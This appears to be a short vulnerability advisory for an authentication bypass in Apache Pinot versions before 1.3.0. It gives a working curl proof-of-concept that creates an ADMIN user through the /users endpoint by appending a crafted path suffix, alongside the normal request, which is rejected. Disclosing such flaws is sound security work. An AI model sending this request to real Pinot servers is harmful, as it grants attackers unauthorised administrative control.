Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H Content-Type: application/json -d {username:hack2,password:hack,component:CONTROLLER,role:ADMIN,tables:[],permissions:[],usernameWithComponent:hack_CONTROLLER} http://{server_ip}:9000/users
Return: {code:401,error:HTTP 401 Unauthorized}
Malicious Request and Response Example
curl -X POST -H Content-Type: application/json -d {username:hack,password:hack,component:CONTROLLER,role:ADMIN,tables:[],permissions:[],usernameWithComponent:hack_CONTROLLER} http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {users:{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
| Name | Vendor | Start Version | End Version |
|---|---|---|---|
| Pinot | Apache | * | 1.3.0 (excluding) |